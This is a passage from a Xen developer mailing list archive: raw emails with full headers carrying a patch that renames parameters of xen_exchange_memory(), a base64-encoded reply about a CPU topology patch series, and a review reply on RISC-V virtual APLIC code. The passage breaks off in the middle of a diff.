         pq6Buati4hblr9y2FcMpBi5t+cbd+fB1X4iMG+u0hzTYsoEnsSKqo2FtlIBTSx55QJ7O
         SIcg==
X-Gm-Message-State: AOJu0YyYU3Wp+uMhpsTW+0h7RJKT/UaidIm0BQSjPUIpmx9Xms2ynFnn
	cq5qGxv5HGjulL5cs1S83f9/cBfAgcwo3A++f5lghS8pyua25Xg8wBjnMXpG0Oc+On9UD/Pd9cf
	/JuQ/wA==
X-Gm-Gg: AfdE7cncOdyJ/mJtQTkkjQPeJfFvG3OoN2rBfPlEyjLH0VmNQhL95wq8nRl/tRfJaPR
	88zJAIOpVt8FQwr2L1xErX/AFxdW6w5b9jMTsUTJam9ATf+5snhaR0rxTvQqR2bdQKYZ4ZryRZs
	Nygu5anun4MFyikXJPQB8ie9lQ1RVGOFEJg/XshQ+tSjzW5jg8lvA46q4PoZB2AwkLEtHmmbKxo
	VRjbAEmiI0IY4FmoBgYW8IqBm1TdSh6lNTI+ASeYzEJTrh4pXvLrKJvrGYAZ4xuh+vtIa0ahzAO
	rT+9UUmsXGpYmjhIlbtIu8+AqXcr6nMIJBCDijVEzD2eXEu3KVB7SXHVpj9ZaTIQ2id9DOEaC0W
	fNqc7b1g0pM4Gl2+ooHweMmII1ddI7cKnABaS+5tPUdJN+SbYZGRbAUPsJ9xfEwKjxwzApt613y
	sd2MDy2bMv7AqlMyHOBtWkM7pzuzIcQF34FkNQRkQNqrriSYMHX2PbxLMCvm45BVJnEkDku5PvP
	TsJDdXPmPlgq/M=
X-Received: by 2002:a05:600c:5010:b0:490:b0e0:3de2 with SMTP id 5b1f17b1804b1-493c2ba5866mr12321355e9.33.1782899753698;
        Wed, 01 Jul 2026 02:55:53 -0700 (PDT)
Message-ID: <d2661f83-a97b-4fc7-bf52-25e99f63576b@suse.com>
Date: Wed, 1 Jul 2026 11:55:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Juergen Gross <jgross@suse.com>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH] x86/Xen: correct commentary and parameter naming of
 xen_exchange_memory()
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1e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V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1782899754-ADF351CC-00CA4BD9/0/0
X-purgate-type: clean
X-purgate-size: 1913

As documented in comments in struct xen_memory_exchange, the input to the
hypercall is a set of MFNs which are to be removed from the domain, plus a
set of PFNs where the newly allocated MFNs are to appear. Present comment
and parameter naming don't correctly reflect that.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Should "fns_out" maybe be "fns_inout" to further emphasize the dual
purpose?

--- a/arch/x86/xen/mmu_pv.c
+++ b/arch/x86/xen/mmu_pv.c
@@ -2291,18 +2291,19 @@ static void xen_remap_exchanged_ptes(uns
 }
 
 /*
- * Perform the hypercall to exchange a region of our pfns to point to
- * memory with the required contiguous alignment.  Takes the pfns as
- * input, and populates mfns as output.
+ * Perform the hypercall to exchange a region of our pages to point to memory
+ * with the required contiguous alignment.  Takes as input the mfns to trade
+ * in and the pfns where the new pages are to appear, and populates mfns as
+ * output.
  *
  * Returns a success code indicating whether the hypervisor was able to
  * satisfy the request or not.
  */
 static int xen_exchange_memory(unsigned long extents_in, unsigned int order_in,
-			       unsigned long *pfns_in,
+			       unsigned long *mfns_in,
 			       unsigned long extents_out,
 			       unsigned int order_out,
-			       unsigned long *mfns_out,
+			       unsigned long *fns_out,
 			       unsigned int address_bits)
 {
 	long rc;
@@ -2312,13 +2313,13 @@ static int xen_exchange_memory(unsigned
 		.in = {
 			.nr_extents   = extents_in,
 			.extent_order = order_in,
-			.extent_start = pfns_in,
+			.extent_start = mfns_in,
 			.domid        = DOMID_SELF
 		},
 		.out = {
 			.nr_extents   = extents_out,
 			.extent_order = order_out,
-			.extent_start = mfns_out,
+			.extent_start = fns_out,
 			.address_bits = address_bits,
 			.domid        = DOMID_SELF
 		}


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 10:05:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 10:05:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349698.1607366 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weroo-0005Mv-QW; Wed, 01 Jul 2026 10:05:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349698.1607366; Wed, 01 Jul 2026 10:05:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weroo-0005Mo-LL; Wed, 01 Jul 2026 10:05:22 +0000
Received: by outflank-mailman (input) for mailman id 1349698;
 Wed, 01 Jul 2026 10:05:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1werom-0005Mg-WA
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 10:05:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1werol-002CwG-Pc
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 12:05:19 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a44e65e-e002-0a2a0a5209dd-0a2a4509b6f2-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:05:18 +0200
Received: from [40.107.74.130]
 (helo=OS0P286CU010.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a44e65c-97e6-0a2a45090019-286b4a82beb2-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:05:18 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYTP286MB3916.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:185::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 10:05:12 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 10:05:11 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=yiBl/Dloq9oZDTvzCf1+nSS30GxMqjQSBGRCdtXDS1Q3BiawWOd58BW5HYlci4JJu9bc2F8VASm/5dGwvq8pUQVufB/aLaMZoiacVLmiibfdUu/e3K2wXlva/ClHsolyWnH7rPYshqx6tQh1MMnStY4wfVqzChhssTm3QvYkqmWEcwrWwuSFPKSZfgAK05R+VwR3nc3jKW4pPFGZmUyty84qHm9LxJ9UE7bXnEMg6eKli7eYLM0XxR0j3966hhSierkhalCRmEdi98ZsgNn/tLgsD1IR1thiLnx8dZmSPcc//ZoDnz3uEhe++sN01BZLbeN+fnKOOOQonNUHWeB9PA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=s1OEba/foWvHV8Jxg24W6nhI4wu2y86LTQFkMfB1zKg=;
 b=OQHhxza+OXSN/GF9UA4NhO7+9ZlCSVxtTJ0bSgzivAz7T/iFbCcTwrV7EZWeUZwLU1o2rWguCnXsYFqoTMPyfl5cnLKEI+u6rMxDyw/pFOC9d5yDf7Ii+XNwpCxD0rQ2ql5Epocfl3YDS+yAEQ9P7AWlILQNHOgB14EtT2NRVNP0lj8KxW0xeC39fJW9ylAg2dFjltPwOVLulf8g2lOVfsWo0WnjJNYw84fmqgi2BaMSJu+5SSOO/BKPPasvAR7Av65gf3Ge/22ZrDR3Pum3JHhgHkxQPtddMn41FR8CEV2qTyBiADkscpQgbtq5J9mucNsJNNAw5wiK8roky/4Psg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=s1OEba/foWvHV8Jxg24W6nhI4wu2y86LTQFkMfB1zKg=;
 b=Ocve/AbpErYR94pkCrOloF4BacZMMJ/43+mdX/wQZv6MlyaIo9v2KdJvEknjNtBM2+iauu4ttcCeTZNgDA49bwygnKLWLQS7MCDil/S/d7GaF/d5mPAGTV3l2//i6ieY/yK+BW6Vy2KCEmcyD+k6OPdTg1CJJntIU/PIKqw0sB4=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v3 0/3] xen/arm: Device Tree based CPU topology support
Thread-Topic: [PATCH v3 0/3] xen/arm: Device Tree based CPU topology support
Thread-Index: AQHdCBJft4D5Ks1pD0WlbKl0kB83Y7ZWrjwAgAHDICA=
Date: Wed, 1 Jul 2026 10:05:11 +0000
Message-ID:
 <OS9P286MB7222AABE00E7BDBDB51B04B582F62@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260629215806.11610-1-taka@valinux.co.jp>
 <7b0be62a-879b-4fd2-b1aa-5fa8448c7288@suse.com>
In-Reply-To: <7b0be62a-879b-4fd2-b1aa-5fa8448c7288@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TYTP286MB3916:EE_
x-ms-office365-filtering-correlation-id: a5f72e40-8e6b-4c95-2698-08ded7583cf5
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|1800799024|376014|23010399003|56012099006|4143699003|18002099003|22082099003|5023799004|38070700021;
x-microsoft-antispam-message-info:
 AtU+RuocoDTguFtA6jpB58TUBZoakLwtuCmbgIvoNUKb/J3K2ryE+Mndd4HK5kIjUmcCNLxdXSJ8RdNZl7Qzpd4NpNNfx/re7N2q6BTx7jN0TkiIQIkAT+ZxPgzUFR252EtU9kJSiP+5RBviYmOkZDUUS13QdAyMspRxefrIlnI784tPKg5xHjDHa7bwdTeosrDv42Y7Efi5WAVwGWI8d4zOz9kv+iPckAca1RDiGwwPooAIyPNP+qo4272zH4JPuWu9enWEm/gyZJO3Fc0C5ERmVOkAlTnC3PaqNEqQWDcn12OpdBMBK9kGYe3QLHtqnU9qcchLI04eDjjS5dw+375RLlxpcCTx/bsfHl9CbFPPBWEXm3GQN/lg61VLXVWBoDiM5nNjnwzu25mewdgdZztA0m446Mux5DteJX0Ew8EFm8ePdeVl9+1hOsHUDwXvi7f5i1CT4AcnA7j+Zf++O56fzfuRs22wkkpk/JDeoDJvCvGcQjpzWHd63T4F6ssshEFQrEx0x3RyUDx0Iup9zsRjh9w4aONSK/jesyKVPweT6gz4FIa2thcsEWSfVM2pSVN+R8yakdwrYQKkdVvWVvLxiIGtJ8WHv5m5qwPM7Ot4mV2+UDdbhjI6piT1ZzzUtx5cf5B3ebsbrv6TW/YLFZSfIvlIOW10cHeDr8tEOUmCQdr37qEJgyw7XH7OotPo6prlKSLLu1sdmKdz2xxlxCFFdWYacCTr13b1mCj2D2Q=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(376014)(23010399003)(56012099006)(4143699003)(18002099003)(22082099003)(5023799004)(38070700021);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?R1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OC9ZbVJyMkFF?=
 =?utf-8?B?Skx3T0JsWjJ4VE40K1hrVTNPWGhmeHZianVJUVNTL2ZPajZJWHhmQi9hakdq?=
 =?utf-8?B?TWpwQnJ6NHZXNDVLbUZ4RE9COWt5YUJRVjdKcVFlNURBTVRLSGs3UVdjNEZi?=
 =?utf-8?B?T3J6cWFFL21OMUFxcWNHRWdtSTMwYW0rTUNCMTN4d1pnTXp0N1UxOUQ1eTh1?=
 =?utf-8?B?YlZRck45OG42UXVTcXhrdjVJUmFYeXJ1c3YxZUovbnp1eW9mNDhTbUsva1BC?=
 =?utf-8?B?VmRqZVZzc3U1cDhSVFE2eHdqSFBRb2x2emsxMlNkWDUxWUttLzFIQVYxMmRs?=
 =?utf-8?B?ZjYvbVZ4MTc4blhWWW5WWko1TEtPMmVGeUl2aUttN29nS2dTaEUxZlB5VUpD?=
 =?utf-8?B?WjltM2tDTGxaYytQeW1URGkrR1MwdkNKb2I0ditZZ0RVSlBPUHI2NktQMUJC?=
 =?utf-8?B?dXhxbEtVd2M4MmRSTjdWR1I2VGtZZW1JYlFWSzUzOG9VTHhieHNSaXhiU2Nq?=
 =?utf-8?B?bVhzR2F0dHd3TnhJUkJsWkMzOUYwdm5IZUtYNHpSTlcyTGRmTEtTcFdmUGdT?=
 =?utf-8?Q?llxLnPcxKfyW7B1pBV?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: a5f72e40-8e6b-4c95-2698-08ded7583cf5
X-MS-Exchange-CrossTenant-originalarrivaltime: 01 Jul 2026 10:05:11.2437
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: tsCHrKV6U+yB4ZXtSRkY7KiU5fAbZnJVvTdCcOsVVe604p8n6lrKJpfp7H/bpkbibSdb/NEi2K4idN5cDNOAPA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYTP286MB3916
X-purgate-ID: tlsNG-bad1c0/1782900318-47731986-F196BA0F/0/0
X-purgate-type: clean
X-purgate-size: 2066

SGVsbG8sDQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTogSmFuIEJldWxp
Y2ggPGpiZXVsaWNoQHN1c2UuY29tPg0KPiBTZW50OiBUdWVzZGF5LCBKdW5lIDMwLCAyMDI2IDQ6
MDggUE0NCj4gVG86IEhpcm9rYXp1IFRha2FoYXNoaSA8dGFrYUB2YWxpbnV4LmNvLmpwPg0KPiBD
YzogeGVuLWRldmVsQGxpc3RzLnhlbnByb2plY3Qub3JnDQo+IFN1YmplY3Q6IFJlOiBbUEFUQ0gg
djMgMC8zXSB4ZW4vYXJtOiBEZXZpY2UgVHJlZSBiYXNlZCBDUFUgdG9wb2xvZ3kgc3VwcG9ydA0K
PiANCj4gT24gMjkuMDYuMjAyNiAyMzo1OCwgSGlyb2thenUgVGFrYWhhc2hpIHdyb3RlOg0KPiA+
IENoYW5nZXMgaW4gdjM6DQo+ID4gIC0gVXNlIChucl9jcHVfaWRzIC0gMSkgYXMgdGhlIG1heGlt
dW0gQ1BVIElEIGhlcmUuIFRoZSBmaXggZm9yIHRoZSBzcGFyc2UNCj4gPiAgICBtYXAgbWlzbWF0
Y2ggaXNzdWUgb24gQVJNIFhlbiBoYXMgYmVlbiBzcGxpdCBvdXQgaW50byBhIHNlcGFyYXRlDQo+
IHBhdGNoLg0KPiA+ICAtIFN3aXRjaCB0b3BvbG9neSBzaWJsaW5nIG1hc2tzIHRvIGNwdW1hc2tf
dmFyX3QgZm9yIGR5bmFtaWMgYWxsb2NhdG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VtIGFwcGxpZXMgdG8gd2hpY2ggcGF0Y2guDQoNClVuZGVyc3Rvb2QuIEkgd2lsbCBzcGxp
dCB0aGUgY2hhbmdlbG9nL3JldmxvZyBlbnRyaWVzLg0KDQpUaGFuayB5b3UgZm9yIHlvdXIgYWR2
aWNlLg0KSGlyb2thenUgVGFrYWhhc2hpLg0K


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 10:24:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 10:24:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349714.1607373 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wes7A-00007J-4T; Wed, 01 Jul 2026 10:24:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349714.1607373; Wed, 01 Jul 2026 10:24:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wes7A-00007B-1u; Wed, 01 Jul 2026 10:24:20 +0000
Received: by outflank-mailman (input) for mailman id 1349714;
 Wed, 01 Jul 2026 10:24:18 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wes78-000075-9t
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 10:24:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wes77-009LD7-5V
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 12:24:17 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44eac0-2eae-0a2a0a5409dd-0a2a45048c86-34
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:24:17 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44ead0-a01d-0a2a45040019-d1558035e4d3-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:24:17 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493bc8fda98so4110065e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 03:24:16 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be4fc1ddsm71386625e9.14.2026.07.01.03.24.15
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 03:24:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782901456; x=1783506256; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=qm/QOIEGH/EybngvDt4pUFu9qHLWWoz/mlh4VsVX9Mg=;
        b=JCl077maBKOP5XsWK7mk73OIZ0JWKCgahd/dEH9eqOi9F2tPn9wEHxd5Wxrph8LJkJ
         aHEB16cVRHOBcTNE/ZyZQLp8hEWMSAzrp+kcA6TiFcAVDz9Np64XoGmGGvHZHPIezcN0
         bG6gkOSCmui2wC3H6uigdzRLJV/+VgFH7gN2BMw7pOwazezRfvveMC6KArjgexK6qvyf
         rqqmDSuNGvMnXUkBaJiCREbqFjpO4F2ZXTAEebJmEMwc6jMIY53g0HYvuEI3t+w2eUpM
         8BYjQpDBBfeG85NRQVNObAcHKk1j8Q68O1wLij+8KSuFjjrsVnQaH5A8bYOYALr9/fkQ
         ZIcg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782901456; x=1783506256;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=qm/QOIEGH/EybngvDt4pUFu9qHLWWoz/mlh4VsVX9Mg=;
        b=jAn16HvdkKy4zW4zQcb+ch3o6Vzzt75JIzfBSLbFAJMNasw9PB9gJWosBxa2y2KYnX
         t16SV6XbQKU4kA00aSHlEAcTBCcj+7CsmteDnJlEtAM+hfrRcW0CTSv4Ll/1kmKUwsCS
         qvatwBFs5YBvXdMXGpZ5DTv0Ksg0w+OAE2SQ39CdQLi910Ll7S/vuWnxZ6TW1pK97Q7W
         GdktkmLs/lXuLl7v1xHMAouKzldfH4Uji6ZWlIZLw1cBq+m4A7ZPyw5chVHbtFE32uUr
         kPU+G4x+kKsaZJyls2au0sBMQGAQlM1aGif+VKgqwPPB772XEeB47IyFDYHQtWXmfD9E
         nsUQ==
X-Forwarded-Encrypted: i=1; AFNElJ/xUmG5Earn69QbkvJp4TTJ6DBn+G1b9QlQd9QWG0cJ4BRNUCWgEb8RCNFAM4ABsvj33pwatFns2bc=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx2BjM0aNRc/Fm+2NkBNlMaCO3fWvv7tTNpPR/KIkCr3qjo+xZn
	ntLBoSOfi5sbNnu4j34N0Mi+ObqvNn+ybWDI6kmRJFcgO2rGAzDWyxj7
X-Gm-Gg: AfdE7cnGtnwM4lpx7eQoHY5SaWIHAaE/tR16hglkTsg6AbpOWAwA3SZbhG4rQpqJ6TA
	uh4PxpN/cIb4kS2G6otAV6UqiMDCb1ZPkwlBXIlJr4su4/zJv7xYSoM8RX1x2UJYt/Pxl1Js0eT
	Hh4CdouPXpUmNtuMaeDU23+na4YacQ/LDPpNteyr0a6z6lyu+i3U6giaYyY/FgjFhlK9rBS+QJS
	YV3G4GGR+6HkXlMox1p3c5LCd0UjsETdKFDn21usjUSw0WJ6wfqd2SQ1yQ/4rldCoW41vQZ6RVL
	OrbzbuKxA7XQww+HgbENeQZNLbhOhzFvGG4giriMjZ/TI+rcMDSY8bnsuBUfOrxZz6yZ3LF9dWH
	dPWI8kGKIsGos6sjST9/VULtvgLRhzI4QWFQGXU2x5zj4ia2gYpx3c156M51fL6ofJdmfjT+oOW
	cWdYqcEYskSGqydjR2slBmCAaQhC7/jnyIT4z+6BHJpoCNDa+dT+vqURB/hGb715/Z54I=
X-Received: by 2002:a05:600c:8117:b0:493:b9cd:1272 with SMTP id 5b1f17b1804b1-493c2b96e36mr14998635e9.23.1782901456304;
        Wed, 01 Jul 2026 03:24:16 -0700 (PDT)
Message-ID: <015bb3d7-ef55-401b-902b-ddcd14a1c7ab@gmail.com>
Date: Wed, 1 Jul 2026 12:24:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 16/25] xen/riscv: introduce minimal virtual APLIC
 (vAPLIC) infrastructure
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <61603c1548b7c685fb92e1b687445fc1b6a95c35.1782487661.git.oleksii.kurochko@gmail.com>
 <c6f63b4b-1237-4992-bf83-07569d2e6339@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <c6f63b4b-1237-4992-bf83-07569d2e6339@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1782901457-ACB3B1CC-BB5D87BB/10/73395122804
X-purgate-type: spam
X-purgate-size: 3637



On 6/29/26 5:02 PM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> Changes in v4:
>>   - Change subject of the commit.
>>   - s/APLIC_DOMAINCFG_RO80/APLIC_DOMAINCFG_RO + added a comment above definition.
>>   - Drop unnessary blank lines.
> 
> Did you? What about ...
> 
>> --- a/xen/arch/riscv/include/asm/aplic.h
>> +++ b/xen/arch/riscv/include/asm/aplic.h
>> @@ -15,6 +15,9 @@
>>   
>>   #include <asm/imsic.h>
>>   
>> +
>> +/* domaincfg bits 31:24 are read-only 0x80 */
>> +#define APLIC_DOMAINCFG_RO      (0x80U << 24)
>>   #define APLIC_DOMAINCFG_IE      BIT(8, U)
>>   #define APLIC_DOMAINCFG_DM      BIT(2, U)
> 
> ... the one you pointlessly add here?
> 

I think it is newly introduced... Anyway, I will drop it.

>> --- a/xen/arch/riscv/include/asm/intc.h
>> +++ b/xen/arch/riscv/include/asm/intc.h
>> @@ -15,6 +15,7 @@ enum intc_version {
>>   struct cpu_user_regs;
>>   struct irq_desc;
>>   struct kernel_info;
>> +struct vcpu;
>>   
>>   struct intc_info {
>>       enum intc_version hw_version;
>> @@ -51,8 +52,17 @@ struct vintc_init_ops {
>>       int (*make_domu_dt_node)(struct kernel_info *kinfo);
>>   };
>>   
>> +struct vintc_ops {
>> +    /* Initialize some vINTC-related stuff for a vCPU */
>> +    int (*vcpu_init)(struct vcpu *v);
>> +
>> +    /* Deinitialize some vINTC-related stuff for a vCPU */
>> +    void (*vcpu_deinit)(struct vcpu *v);
>> +};
>> +
>>   struct vintc {
